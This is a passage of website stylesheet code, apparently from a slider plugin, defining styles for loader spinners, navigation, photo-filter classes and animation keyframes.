line-height: 18px; font-size: 13px; font-weight: normal; color: #7f8c8d; color: #ffffff; font-family: "proxima-nova", "Helvetica Neue", Helvetica, Arial, sans-serif; letter-spacing: 2px; } .rev-scroll-btn > *:hover, .rev-scroll-btn > *:focus, .rev-scroll-btn > *.active { color: #ffffff; } .rev-scroll-btn > *:hover, .rev-scroll-btn > *:focus, .rev-scroll-btn > *:active, .rev-scroll-btn > *.active { opacity: 0.8; } .rev-scroll-btn.revs-fullwhite { background:#fff; } .rev-scroll-btn.revs-fullwhite span { background: #333; } .rev-scroll-btn.revs-fulldark { background:#333; border:none; } .rev-scroll-btn.revs-fulldark span { background: #fff; } .rev-scroll-btn span { position: absolute; display: block; top: 29%; left: 50%; width: 8px; height: 8px; margin: -4px 0 0 -4px; border-radius: 50%; animation: rev-ani-mouse 2.5s linear infinite; background: #fff; } .rev-scroll-btn.rev-b-span-dark { border-color:#333; } .rev-scroll-btn.rev-b-span-dark span, .rev-scroll-btn.revs-dark span { background: #333; } .rev-control-btn { position: relative; display: inline-block; z-index: 5; color: #FFF; font-size: 20px; line-height: 60px; font-weight: 400; font-style: normal; font-family: Raleway; text-decoration: none; text-align: center; background-color: #000; border-radius: 50px; text-shadow: none; background-color: rgba(0, 0, 0, 0.50); width:60px; height:60px; box-sizing: border-box; cursor: pointer; } .rev-cbutton-dark-sr { border-radius: 3px; } .rev-cbutton-light { color: #333; background-color: rgba(255,255,255, 0.75); } .rev-cbutton-light-sr { color: #333; border-radius: 3px; background-color: rgba(255,255,255, 0.75); } .rev-sbutton { line-height: 37px; width:37px; height:37px; } .rev-sbutton-blue { background-color: #3B5998 } .rev-sbutton-lightblue { background-color: #00A0D1; } .rev-sbutton-red { background-color: #DD4B39; } /************************************ - TP BANNER TIMER - *************************************/ rs-progress { visibility: hidden; position:absolute; z-index:200;width:100%;height:100%;} rs-progress-bar, .rs-progress-bar { display:block;z-index: 20;box-sizing: border-box;background-clip: content-box;position: absolute;line-height:0px;width:100%;height:100%;} rs-progress-bgs { display:block;z-index: 15;box-sizing: border-box; width: 100%; position: absolute; height: 100%; top: 0px; left: 0px; } rs-progress-bg { display:block;background-clip: content-box; position: absolute;width:100%;height:100%;} rs-progress-gap { display:block;background-clip: content-box; position: absolute;width:100%;height:100%;} rs-progress-vis { display:block;width: 100%;height: 100%; position: absolute;top: 0px;left: 0px } /********************************************* - BASIC SETTINGS FOR THE BANNER - ***********************************************/ .rs-layer img { background: transparent; -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#00FFFFFF,endColorstr=#00FFFFFF)"; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#00FFFFFF,endColorstr=#00FFFFFF); /*zoom:1;*/ } /*rs-carousel-wrap rs-layer.rs-layer img { transform: translateZ(-0.0001px)}*/ .rs-layer.slidelink { cursor:pointer;width:100%;height:100%; } .rs-layer.slidelink a { width:100%;height:100%;display:block} .rs-layer.slidelink a div { width:3000px; height:1500px; background:url(../assets/coloredbg.png) repeat} .rs-layer.slidelink a span{ background:url(../assets/coloredbg.png) repeat; width:100%;height:100%;display:block} /*.tp-shape { width:100%;height:100%;}*/ /********************************************* - WOOCOMMERCE STYLES - ***********************************************/ .rs-layer .rs-starring { display: inline-block} .rs-layer .rs-starring .star-rating { float: none; display: inline-block; vertical-align: top; color: #FFC321 !important; } .rs-layer .rs-starring .star-rating, .rs-layer .rs-starring-page .star-rating { position: relative; height: 1em; width: 5.4em; font-family: star; font-size: 1em !important; } .rs-layer .rs-starring .star-rating:before, .rs-layer .rs-starring-page .star-rating:before { content: "\73\73\73\73\73"; color: #E0DADF; float: left; top: 0; left: 0; position: absolute; } .rs-layer .rs-starring .star-rating span { overflow: hidden; float: left; top: 0; left: 0; position: absolute; padding-top: 1.5em; font-size: 1em !important; } .rs-layer .rs-starring .star-rating span:before, .rs-layer .rs-starring .star-rating span:before { content: "\53\53\53\53\53"; top: 0; position: absolute; left: 0; } /****************************** - LOADER FORMS - ********************************/ rs-loader { top:50%; left:50%; z-index:10000; position:absolute; } rs-loader.off { display: none !important; } rs-loader.spinner0 { width: 40px; height: 40px; background-color: #fff; background-image:url(../assets/loader.gif); background-repeat:no-repeat; background-position: center center; box-shadow: 0px 0px 20px 0px rgba(0,0,0,0.15); margin-top:-20px; margin-left:-20px; animation: tp-rotateplane 1.2s infinite ease-in-out; border-radius: 3px; } rs-loader.spinner1 { width: 40px; height: 40px; background-color: #fff; box-shadow: 0px 0px 20px 0px rgba(0,0,0,0.15); margin-top:-20px; margin-left:-20px; animation: tp-rotateplane 1.2s infinite ease-in-out; border-radius: 3px; } rs-loader.spinner5 { background-image:url(../assets/loader.gif); background-repeat:no-repeat; background-position:10px 10px; background-color:#fff; margin:-22px -22px; width:44px;height:44px; border-radius: 3px; } @keyframes tp-rotateplane { 0% { transform: perspective(120px) rotateX(0deg) rotateY(0deg);} 50% { transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);} 100% { transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);} } rs-loader.spinner2 { width: 40px; height: 40px; margin-top:-20px;margin-left:-20px; background-color: #ff0000; box-shadow: 0px 0px 20px 0px rgba(0,0,0,0.15); border-radius: 100%; animation: tp-scaleout 1.0s infinite ease-in-out; } @keyframes tp-scaleout { 0% {transform: scale(0.0);} 100% {transform: scale(1.0);opacity: 0;} } rs-loader.spinner3 { margin: -9px 0px 0px -35px; width: 70px; text-align: center; } rs-loader.spinner3 .bounce1, rs-loader.spinner3 .bounce2, rs-loader.spinner3 .bounce3 { width: 18px; height: 18px; background-color: #fff; box-shadow: 0px 0px 20px 0px rgba(0,0,0,0.15); border-radius: 100%; display: inline-block; animation: tp-bouncedelay 1.4s infinite ease-in-out; /* Prevent first frame from flickering when animation starts */ animation-fill-mode: both; } rs-loader.spinner3 .bounce1 { animation-delay: -0.32s; } rs-loader.spinner3 .bounce2 { animation-delay: -0.16s; } @keyframes tp-bouncedelay { 0%, 80%, 100% {transform: scale(0.0);} 40% {transform: scale(1.0);} } rs-loader.spinner4 { margin: -20px 0px 0px -20px; width: 40px; height: 40px; text-align: center; animation: tp-rotate 2.0s infinite linear; } rs-loader.spinner4 .dot1, rs-loader.spinner4 .dot2 { width: 60%; height: 60%; display: inline-block; position: absolute; top: 0; background-color: #fff; border-radius: 100%; animation: tp-bounce 2.0s infinite ease-in-out; box-shadow: 0px 0px 20px 0px rgba(0,0,0,0.15); } rs-loader.spinner4 .dot2 { top: auto; bottom: 0px; animation-delay: -1.0s; } @keyframes tp-rotate { 100% { transform: rotate(360deg);}} @keyframes tp-bounce { 0%, 100% {transform: scale(0.0);} 50% { transform: scale(1.0);} } rs-layer iframe { visibility:hidden;} rs-layer.rs-ii-o iframe { visibility: visible; } rs-layer input[type="text"], rs-layer input[type="email"], rs-layer input[type="url"], rs-layer input[type="password"], rs-layer input[type="search"], rs-layer input[type="number"], rs-layer input[type="tel"], rs-layer input[type="range"], rs-layer input[type="date"], rs-layer input[type="month"], rs-layer input[type="week"], rs-layer input[type="time"], rs-layer input[type="datetime"], rs-layer input[type="datetime-local"] { display: inline-block } rs-layer input::placeholder { vertical-align: middle; line-height: inherit !important} a.rs-layer { transition: none } /*********************************************** - STANDARD NAVIGATION SETTINGS ***********************************************/ rs-thumbs-wrap, rs-tabs-wrap, rs-thumbs, rs-thumb, rs-tab, rs-bullet, rs-bullets, rs-navmask, rs-tabs, rs-arrow { display:block; pointer-events: all;} /*rs-layer { font-size:20px; line-height: 25px; padding:0px; margin:0px; border-radius:0px; max-width: none;min-width:none; max-height: none; min-height: none}*/ .tp-thumbs.navbar, .tp-bullets.navbar, .tp-tabs.navbar { border:none; min-height: 0; margin:0; border-radius: 0; } .tp-tabs, .tp-thumbs, .tp-bullets { position:absolute; display:block; z-index:1000; top:0px; left:0px;} .tp-tab, .tp-thumb { cursor: pointer; position:absolute;opacity:0.5; box-sizing: border-box;} .tp-arr-imgholder, rs-poster, .tp-thumb-image, .tp-tab-image { background-position: center center; background-size:cover;width:100%;height:100%; display:block; position:absolute;top:0px;left:0px;} rs-poster { cursor:pointer; z-index:3; } .tp-tab.rs-touchhover, .tp-tab.selected, .tp-thumb.rs-touchhover, .tp-thumb.selected { opacity:1;} .tp-tab-mask, .tp-thumb-mask { box-sizing:border-box !important; } .tp-tabs, .tp-thumbs { box-sizing:content-box !important; } .tp-bullet { width:15px;height:15px; position:absolute; background:#fff; background:rgba(255,255,255,0.3); cursor: pointer;} .tp-bullet.selected, .tp-bullet.rs-touchhover { background:#fff;} .tparrows { cursor:pointer; background:#000; background:rgba(0,0,0,0.5); width:40px;height:40px;position:absolute; display:block; z-index:1000; } .tparrows.rs-touchhover { background:#000;} .tparrows:before { font-family: "revicons"; font-size:15px; color:#fff; display:block; line-height: 40px; text-align: center;} .tparrows.tp-leftarrow:before { content: '\e824'; } .tparrows.tp-rightarrow:before { content: '\e825'; } /*.tp-thumb-mask {max-width: 100% !important}*/ /************************ - FIXES FOR PE-7 ICONS - **************************/ .rs-layer [class^="pe-7s-"]:before, .rs-layer [class*=" pe-7s-"]:before, .rs-layer [class^="pe-7s-"], .rs-layer [class*=" pe-7s-"] { width: auto; margin: 0; line-height: inherit; box-sizing: inherit; } /*************************** - KEN BURNS FIXES - ***************************/ rs-pzimg-wrap { display: block; } body.rtl .rs-pzimg {left: 0 !important} /******************************* - CUBE & CANVAS SETTINGS - ********************************/ .rs_fake_cube {transform-style:preserve-3d} .rs_fake_cube, .rs_fake_cube_wall { position:absolute; -webkit-backface-visibility:hidden; backface-visibility:hidden; left:0px; top:0px; z-index: 0 } .rs-builder-mode rs-sbg-wrap canvas, rs-sbg canvas { overflow: hidden; z-index: 5; -webkit-backface-visibility:hidden; backface-visibility:hidden;} /*************************** - 3D SHADOW MODE - ***************************/ .dddwrappershadow { box-shadow:0 45px 100px rgba(0, 0, 0, 0.4);} .dddwrapper { transform-style: flat;perspective: 10000px; } /******************* - DEBUG MODE - *******************/ .rs_error_message_box { background: #111;width:800px;margin: 40px auto;padding: 40px 20px;text-align: center;font-family: "Open Sans",sans-serif} .rs_error_message_oops {margin: 0px 0px 20px;line-height: 60px;font-size: 34px;color: #FFF;} .rs_error_message_content {margin: 0px 0px 20px;line-height: 25px;font-size: 17px;color: #FFF;} .rs_error_message_button {color: #fff !important;background: #333;display: inline-block;padding: 10px 15px;text-align: right;border-radius: 5px;cursor: pointer;text-decoration: none !important} .rs_error_message_button:hover { background:#5e35b1} .hglayerinfo {position: fixed;bottom: 0px;left: 0px;color: #FFF;font-size: 12px;line-height: 20px;font-weight: 600;background: rgba(0, 0, 0, 0.75);padding: 5px 10px;z-index: 2000;white-space: normal;} .hginfo {position:absolute;top:-2px;left:-2px;color:#e74c3c;font-size:12px;font-weight:600; background:#000;padding:2px 5px;} .indebugmode .rs-layer:hover {border:1px dashed #c0392b !important;} .helpgrid {border:2px dashed #c0392b;position:absolute;top:0px;left:0px;z-index:0 } #revsliderlogloglog {padding:15px;color:#fff;position:fixed; top:0px;left:0px;width:200px;height:150px;background:rgba(0,0,0,0.7); z-index:100000; font-size:10px; overflow:scroll;} /** INSTAGRAM FILTERS BY UNA https://una.im/CSSgram/ **/ .aden{filter:hue-rotate(-20deg) contrast(.9) saturate(.85) brightness(1.2)}.aden::after{background:linear-gradient(to right,rgba(66,10,14,.2),transparent);mix-blend-mode:darken}.perpetua::after,.reyes::after{mix-blend-mode:soft-light;opacity:.5}.inkwell{filter:sepia(.3) contrast(1.1) brightness(1.1) grayscale(1)}.perpetua::after{background:linear-gradient(to bottom,#005b9a,#e6c13d)}.reyes{filter:sepia(.22) brightness(1.1) contrast(.85) saturate(.75)}.reyes::after{background:#efcdad}.gingham{filter:brightness(1.05) hue-rotate(-10deg)}.gingham::after{background:linear-gradient(to right,rgba(66,10,14,.2),transparent);mix-blend-mode:darken}.toaster{filter:contrast(1.5) brightness(.9)}.toaster::after{background:radial-gradient(circle,#804e0f,#3b003b);mix-blend-mode:screen}.walden{filter:brightness(1.1) hue-rotate(-10deg) sepia(.3) saturate(1.6)}.walden::after{background:#04c;mix-blend-mode:screen;opacity:.3}.hudson{filter:brightness(1.2) contrast(.9) saturate(1.1)}.hudson::after{background:radial-gradient(circle,#a6b1ff 50%,#342134);mix-blend-mode:multiply;opacity:.5}.earlybird{filter:contrast(.9) sepia(.2)}.earlybird::after{background:radial-gradient(circle,#d0ba8e 20%,#360309 85%,#1d0210 100%);mix-blend-mode:overlay}.mayfair{filter:contrast(1.1) saturate(1.1)}.mayfair::after{background:radial-gradient(circle at 40% 40%,rgba(255,255,255,.8),rgba(255,200,200,.6),#111 60%);mix-blend-mode:overlay;opacity:.4}.lofi{filter:saturate(1.1) contrast(1.5)}.lofi::after{background:radial-gradient(circle,transparent 70%,#222 150%);mix-blend-mode:multiply}._1977{filter:contrast(1.1) brightness(1.1) saturate(1.3)}._1977:after{background:rgba(243,106,188,.3);mix-blend-mode:screen}.brooklyn{filter:contrast(.9) brightness(1.1)}.brooklyn::after{background:radial-gradient(circle,rgba(168,223,193,.4) 70%,#c4b7c8);mix-blend-mode:overlay}.xpro2{filter:sepia(.3)}.xpro2::after{background:radial-gradient(circle,#e6e7e0 40%,rgba(43,42,161,.6) 110%);mix-blend-mode:color-burn}.nashville{filter:sepia(.2) contrast(1.2) brightness(1.05) saturate(1.2)}.nashville::after{background:rgba(0,70,150,.4);mix-blend-mode:lighten}.nashville::before{background:rgba(247,176,153,.56);mix-blend-mode:darken}.lark{filter:contrast(.9)}.lark::after{background:rgba(242,242,242,.8);mix-blend-mode:darken}.lark::before{background:#22253f;mix-blend-mode:color-dodge}.moon{filter:grayscale(1) contrast(1.1) brightness(1.1)}.moon::before{background:#a0a0a0;mix-blend-mode:soft-light}.moon::after{background:#383838;mix-blend-mode:lighten}.clarendon{filter:contrast(1.2) saturate(1.35)}.clarendon:before{background:rgba(127,187,227,.2);mix-blend-mode:overlay}.willow{filter:grayscale(.5) contrast(.95) brightness(.9)}.willow::before{background-image:radial-gradient(circle,40%, #d4a9af 55%,#000 150%);mix-blend-mode:overlay}.rise{filter:brightness(1.05) sepia(.2) contrast(.9) saturate(.9)}.rise::after{background:radial-gradient(circle,rgba(232,197,152,.8),transparent 90%);mix-blend-mode:overlay;opacity:.6}.rise::before{background:radial-gradient(circle,rgba(236,205,169,.15) 55%,rgba(50,30,7,.4));mix-blend-mode:multiply}._1977:after,._1977:before,rs-pzimg-wrap.aden:after,.aden:before,.brooklyn:after,.brooklyn:before,.clarendon:after,.clarendon:before,.earlybird:after,.earlybird:before,.gingham:after,.gingham:before,.hudson:after,.hudson:before,.inkwell:after,.inkwell:before,.lark:after,.lark:before,.lofi:after,.lofi:before,.mayfair:after,.mayfair:before,.moon:after,.moon:before,.nashville:after,.nashville:before,.perpetua:after,.perpetua:before,.reyes:after,.reyes:before,.rise:after,.rise:before,.slumber:after,.slumber:before,.toaster:after,.toaster:before,.walden:after,.walden:before,.willow:after,.willow:before,.xpro2:after,.xpro2:before{content:'';display:block;height:100%;width:100%;top:0;left:0;position:absolute;pointer-events:none}._1977,.aden,.brooklyn,.clarendon,.earlybird,.gingham,.hudson,.inkwell,.lark,.lofi,.mayfair,.moon,.nashville,.perpetua,.reyes,.rise,.slumber,.toaster,.walden,.willow,.xpro2{position:absolute;}._1977:before,.aden:before,.brooklyn:before,.clarendon:before,.earlybird:before,.gingham:before,.hudson:before,.inkwell:before,.lark:before,.lofi:before,.mayfair:before,.moon:before,.nashville:before,.perpetua:before,.reyes:before,.rise:before,.slumber:before,.toaster:before,.walden:before,.willow:before,.xpro2:before{z-index:30}._1977:after,.aden:after,.brooklyn:after,.clarendon:after,.earlybird:after,.gingham:after,.hudson:after,.inkwell:after,.lark:after,.lofi:after,.mayfair:after,.moon:after,.nashville:after,.perpetua:after,.reyes:after,.rise:after,.slumber:after,.toaster:after,.walden:after,.willow:after,.xpro2:after{z-index:40}.slumber{filter:saturate(.66) brightness(1.05)}.slumber::after{background:rgba(125,105,24,.5);mix-blend-mode:soft-light}.slumber::before{background:rgba(69,41,12,.4);mix-blend-mode:lighten} .willow::after{background-color:#d8cdcb;mix-blend-mode:color} /* SAFARI BUG FIX ON COLOR BLEND MODE */ @media not all and (min-resolution:.001dpcm) { @supports (-webkit-appearance:none) { .willow{filter:grayscale(1) contrast(.95) brightness(.9)} .willow::after{background-color:transparent;} }} rs-pzimg-wrap.perpetua:before,rs-pzimg-wrap.perpetua:after,rs-pzimg-wrap.nashville:before,rs-pzimg-wrap.nashville:after,rs-pzimg-wrap.xpro2:before,rs-pzimg-wrap.xpro2:after,rs-pzimg-wrap._1977:after,rs-pzimg-wrap._1977:before,rs-pzimg-wrap.aden:after,rs-pzimg-wrap.aden:before,rs-pzimg-wrap.brooklyn:after,rs-pzimg-wrap.brooklyn:before,rs-pzimg-wrap.clarendon:after,rs-pzimg-wrap.clarendon:before,rs-pzimg-wrap.earlybird:after,rs-pzimg-wrap.earlybird:before,rs-pzimg-wrap.gingham:after,rs-pzimg-wrap.gingham:before,rs-pzimg-wrap.hudson:after,rs-pzimg-wrap.hudson:before,rs-pzimg-wrap.inkwell:after,rs-pzimg-wrap.inkwell:before,rs-pzimg-wrap.lark:after,rs-pzimg-wrap.lark:before,rs-pzimg-wrap.lofi:after,rs-pzimg-wrap.lofi:before,rs-pzimg-wrap.mayfair:after,rs-pzimg-wrap.mayfair:before,rs-pzimg-wrap.moon:after,rs-pzimg-wrap.moon:before,rs-pzimg-wrap.reyes:after,rs-pzimg-wrap.reyes:before,rs-pzimg-wrap.rise:after,rs-pzimg-wrap.rise:before,rs-pzimg-wrap.slumber:after,rs-pzimg-wrap.slumber:before,rs-pzimg-wrap.toaster:after,rs-pzimg-wrap.toaster:before,rs-pzimg-wrap.walden:after,rs-pzimg-wrap.walden:before,rs-pzimg-wrap.willow:after,rs-pzimg-wrap.willow:before,rs-pzimg-wrap:before,rs-pzimg-wrap:after {height:500%;width:500%} /** new spinners **/ rs-loader.spinner6{width:40px;height:40px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner6 .rs-spinner-inner{width:100%;height:100%;display:inline-block;-webkit-animation:rs-revealer-6 1.4s linear infinite;animation:rs-revealer-6 1.4s linear infinite}rs-loader.spinner6 .rs-spinner-inner span{position:absolute;vertical-align:top;border-radius:100%;display:inline-block;width:8px;height:8px;margin-left:16px;transform-origin:center 20px;-webkit-transform-origin:center 20px}rs-loader.spinner6 .rs-spinner-inner span:nth-child(2){transform:rotate(36deg);-webkit-transform:rotate(36deg);opacity:.1}rs-loader.spinner6 .rs-spinner-inner span:nth-child(3){transform:rotate(72deg);-webkit-transform:rotate(72deg);opacity:.2}rs-loader.spinner6 .rs-spinner-inner span:nth-child(4){transform:rotate(108deg);-webkit-transform:rotate(108deg);opacity:.3}rs-loader.spinner6 .rs-spinner-inner span:nth-child(5){transform:rotate(144deg);-webkit-transform:rotate(144deg);opacity:.4}rs-loader.spinner6 .rs-spinner-inner span:nth-child(6){transform:rotate(180deg);-webkit-transform:rotate(180deg);opacity:.5}rs-loader.spinner6 .rs-spinner-inner span:nth-child(7){transform:rotate(216deg);-webkit-transform:rotate(216deg);opacity:.6}rs-loader.spinner6 .rs-spinner-inner span:nth-child(8){transform:rotate(252deg);-webkit-transform:rotate(252deg);opacity:.7}rs-loader.spinner6 .rs-spinner-inner span:nth-child(9){transform:rotate(288deg);-webkit-transform:rotate(288deg);opacity:.8}rs-loader.spinner6 .rs-spinner-inner span:nth-child(10){transform:rotate(324deg);-webkit-transform:rotate(324deg);opacity:.9}@keyframes rs-revealer-6{from{transform:rotate(0)}to{transform:rotate(360deg)}}@-webkit-keyframes rs-revealer-6{from{-webkit-transform:rotate(0)}to{-webkit-transform:rotate(360deg)}}rs-loader.spinner7{width:35px;height:35px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner7 .rs-spinner-inner{width:100%;height:100%;display:inline-block;padding:0;border-radius:100%;border:2px solid;-webkit-animation:rs-revealer-7 .8s linear infinite;animation:rs-revealer-7 .8s linear infinite}@keyframes rs-revealer-7{from{transform:rotate(0)}to{transform:rotate(360deg)}}@-webkit-keyframes rs-revealer-7{from{-webkit-transform:rotate(0)}to{-webkit-transform:rotate(360deg)}}rs-loader.spinner8{width:50px;height:50px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner8 .rs-spinner-inner{width:100%;height:100%;display:inline-block;padding:0;text-align:left}rs-loader.spinner8 .rs-spinner-inner span{position:absolute;display:inline-block;width:100%;height:100%;border-radius:100%;-webkit-animation:rs-revealer-8 1.6s linear infinite;animation:rs-revealer-8 1.6s linear infinite}rs-loader.spinner8 .rs-spinner-inner span:last-child{animation-delay:-.8s;-webkit-animation-delay:-.8s}@keyframes rs-revealer-8{0%{transform:scale(0,0);opacity:.5}100%{transform:scale(1,1);opacity:0}}@-webkit-keyframes rs-revealer-8{0%{-webkit-transform:scale(0,0);opacity:.5}100%{-webkit-transform:scale(1,1);opacity:0}}rs-loader.spinner9{width:40px;height:40px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner9 .rs-spinner-inner span{display:block;width:100%;height:100%;border-radius:50%;opacity:.6;position:absolute;top:0;left:0;-webkit-animation:rs-revealer-9 2s infinite ease-in-out;animation:rs-revealer-9 2s infinite ease-in-out}rs-loader.spinner9 .rs-spinner-inner span:last-child{-webkit-animation-delay:-1s;animation-delay:-1s}@-webkit-keyframes rs-revealer-9{0%,100%{-webkit-transform:scale(0)}50%{-webkit-transform:scale(1)}}@keyframes rs-revealer-9{0%,100%{transform:scale(0);-webkit-transform:scale(0)}50%{transform:scale(1);-webkit-transform:scale(1)}}rs-loader.spinner10{width:54px;height:40px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner10 .rs-spinner-inner{width:100%;height:100%;text-align:center;font-size:10px}rs-loader.spinner10 .rs-spinner-inner span{display:block;height:100%;width:6px;display:inline-block;-webkit-animation:rs-revealer-10 1.2s infinite ease-in-out;animation:rs-revealer-10 1.2s infinite ease-in-out}rs-loader.spinner10 .rs-spinner-inner span:nth-child(2){-webkit-animation-delay:-1.1s;animation-delay:-1.1s}rs-loader.spinner10 .rs-spinner-inner span:nth-child(3){-webkit-animation-delay:-1s;animation-delay:-1s}rs-loader.spinner10 .rs-spinner-inner span:nth-child(4){-webkit-animation-delay:-.9s;animation-delay:-.9s}rs-loader.spinner10 .rs-spinner-inner span:nth-child(5){-webkit-animation-delay:-.8s;animation-delay:-.8s}@-webkit-keyframes rs-revealer-10{0%,100%,40%{-webkit-transform:scaleY(.4)}20%{-webkit-transform:scaleY(1)}}@keyframes rs-revealer-10{0%,100%,40%{transform:scaleY(.4);-webkit-transform:scaleY(.4)}20%{transform:scaleY(1);-webkit-transform:scaleY(1)}}rs-loader.spinner11{width:40px;height:40px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner11 .rs-spinner-inner{width:100%;height:100%}rs-loader.spinner11 .rs-spinner-inner span{display:block;width:33%;height:33%;background-color:#333;float:left;-webkit-animation:rs-revealer-11 1.3s infinite ease-in-out;animation:rs-revealer-11 1.3s infinite ease-in-out}rs-loader.spinner11 .rs-spinner-inner span:nth-child(1){-webkit-animation-delay:.2s;animation-delay:.2s}rs-loader.spinner11 .rs-spinner-inner span:nth-child(2){-webkit-animation-delay:.3s;animation-delay:.3s}rs-loader.spinner11 .rs-spinner-inner span:nth-child(3){-webkit-animation-delay:.4s;animation-delay:.4s}rs-loader.spinner11 .rs-spinner-inner span:nth-child(4){-webkit-animation-delay:.1s;animation-delay:.1s}rs-loader.spinner11 .rs-spinner-inner span:nth-child(5){-webkit-animation-delay:.2s;animation-delay:.2s}rs-loader.spinner11 .rs-spinner-inner span:nth-child(6){-webkit-animation-delay:.3s;animation-delay:.3s}rs-loader.spinner11 .rs-spinner-inner span:nth-child(7){-webkit-animation-delay:0s;animation-delay:0s}rs-loader.spinner11 .rs-spinner-inner span:nth-child(8){-webkit-animation-delay:.1s;animation-delay:.1s}rs-loader.spinner11 .rs-spinner-inner span:nth-child(9){-webkit-animation-delay:.2s;animation-delay:.2s}@-webkit-keyframes rs-revealer-11{0%,100%,70%{-webkit-transform:scale3D(1,1,1);transform:scale3D(1,1,1)}35%{-webkit-transform:scale3D(0,0,1);transform:scale3D(0,0,1)}}@keyframes rs-revealer-11{0%,100%,70%{-webkit-transform:scale3D(1,1,1);transform:scale3D(1,1,1)}35%{-webkit-transform:scale3D(0,0,1);transform:scale3D(0,0,1)}}rs-loader.spinner12{width:35px;height:35px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner12 .rs-spinner-inner{width:100%;height:100%;-webkit-animation:rs-revealer-12 1s infinite linear;animation:rs-revealer-12 1s infinite linear}@-webkit-keyframes rs-revealer-12{0%{-webkit-transform:rotate(0)}100%{-webkit-transform:rotate(360deg)}}@keyframes rs-revealer-12{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}rs-loader.spinner13{width:40px;height:40px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner13 .rs-spinner-inner{width:100%;height:100%}rs-loader.spinner13 .rs-spinner-inner span{display:block;width:40%;height:40%;position:absolute;border-radius:50%;-webkit-animation:rs-revealer-13 2s ease infinite;animation:rs-revealer-13 2s ease infinite}rs-loader.spinner13 .rs-spinner-inner span:nth-child(1){animation-delay:-1.5s;-webkit-animation-delay:-1.5s}rs-loader.spinner13 .rs-spinner-inner span:nth-child(2){animation-delay:-1s;-webkit-animation-delay:-1s}rs-loader.spinner13 .rs-spinner-inner span:nth-child(3){animation-delay:-.5s;-webkit-animation-delay:-.5s}@keyframes rs-revealer-13{0%,100%{transform:translate(0)}25%{transform:translate(160%)}50%{transform:translate(160%,160%)}75%{transform:translate(0,160%)}}@-webkit-keyframes rs-revealer-13{0%,100%{-webkit-transform:translate(0)}25%{-webkit-transform:translate(160%)}50%{-webkit-transform:translate(160%,160%)}75%{-webkit-transform:translate(0,160%)}}rs-loader.spinner14{width:40px;height:40px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}rs-loader.spinner14 .rs-spinner-inner{width:100%;height:100%;animation:rs-revealer-14 1s infinite linear}rs-loader.spinner14 .rs-spinner-inner span{display:block;position:absolute;top:50%;left:50%;width:16px;height:16px;border-radius:50%;margin:-8px}rs-loader.spinner14 .rs-spinner-inner span:nth-child(1){-webkit-animation:rs-revealer-14-1 2s infinite;animation:rs-revealer-14-1 2s infinite}rs-loader.spinner14 .rs-spinner-inner span:nth-child(2){-webkit-animation:rs-revealer-14-2 2s infinite;animation:rs-revealer-14-2 2s infinite}rs-loader.spinner14 .rs-spinner-inner span:nth-child(3){-webkit-animation:rs-revealer-14-3 2s infinite;animation:rs-revealer-14-3 2s infinite}rs-loader.spinner14 .rs-spinner-inner span:nth-child(4){-webkit-animation:rs-revealer-14-4 2s infinite;animation:rs-revealer-14-4 2s infinite}@-webkit-keyframes rs-revealer-14-1{0%{-webkit-transform:rotate3d(0,0,1,0deg) translate3d(0,0,0)}20%{-webkit-transform:rotate3d(0,0,1,0deg) translate3d(80%,80%,0)}80%{-webkit-transform:rotate3d(0,0,1,360deg) translate3d(80%,80%,0)}100%{-webkit-transform:rotate3d(0,0,1,360deg) translate3d(0,0,0)}}@-webkit-keyframes rs-revealer-14-2{0%{-webkit-transform:rotate3d(0,0,1,0deg) translate3d(0,0,0)}20%{-webkit-transform:rotate3d(0,0,1,0deg) translate3d(80%,-80%,0)}80%{-webkit-transform:rotate3d(0,0,1,360deg) translate3d(80%,-80%,0)}100%{-webkit-transform:rotate3d(0,0,1,360deg) translate3d(0,0,0)}}@-webkit-keyframes rs-revealer-14-3{0%{-webkit-transform:rotate3d(0,0,1,0deg) translate3d(0,0,0)}20%{-webkit-transform:rotate3d(0,0,1,0deg) translate3d(-80%,-80%,0)}80%{-webkit-transform:rotate3d(0,0,1,360deg) translate3d(-80%,-80%,0)}100%{-webkit-transform:rotate3d(0,0,1,360deg) translate3d(0,0,0)}}@-webkit-keyframes rs-revealer-14-4{0%{-webkit-transform:rotate3d(0,0,1,0deg) translate3d(0,0,0)}20%{-webkit-transform:rotate3d(0,0,1,0deg) translate3d(-80%,80%,0)}80%{-webkit-transform:rotate3d(0,0,1,360deg) translate3d(-80%,80%,0)}100%{-webkit-transform:rotate3d(0,0,1,360deg) translate3d(0,0,0)}}@keyframes rs-revealer-14-1{0%{transform:rotate3d(0,0,1,0deg) translate3d(0,0,0)}20%{transform:rotate3d(0,0,1,0deg) translate3d(80%,80%,0)}80%{transform:rotate3d(0,0,1,360deg) translate3d(80%,80%,0)}100%{transform:rotate3d(0,0,1,360deg) translate3d(0,0,0)}}@keyframes rs-revealer-14-2{0%{transform:rotate3d(0,0,1,0deg) translate3d(0,0,0)}20%{transform:rotate3d(0,0,1,0deg) translate3d(80%,-80%,0)}80%{transform:rotate3d(0,0,1,360deg) translate3d(80%,-80%,0)}100%{transform:rotate3d(0,0,1,360deg) translate3d(0,0,0)}}@keyframes rs-revealer-14-3{0%{transform:rotate3d(0,0,1,0deg) translate3d(0,0,0)}20%{transform:rotate3d(0,0,1,0deg) translate3d(-80%,-80%,0)}80%{transform:rotate3d(0,0,1,360deg) translate3d(-80%,-80%,0)}100%{transform:rotate3d(0,0,1,360deg) translate3d(0,0,0)}}@keyframes rs-revealer-14-4{0%{transform:rotate3d(0,0,1,0deg) translate3d(0,0,0)}20%{transform:rotate3d(0,0,1,0deg) translate3d(-80%,80%,0)}80%{transform:rotate3d(0,0,1,360deg) 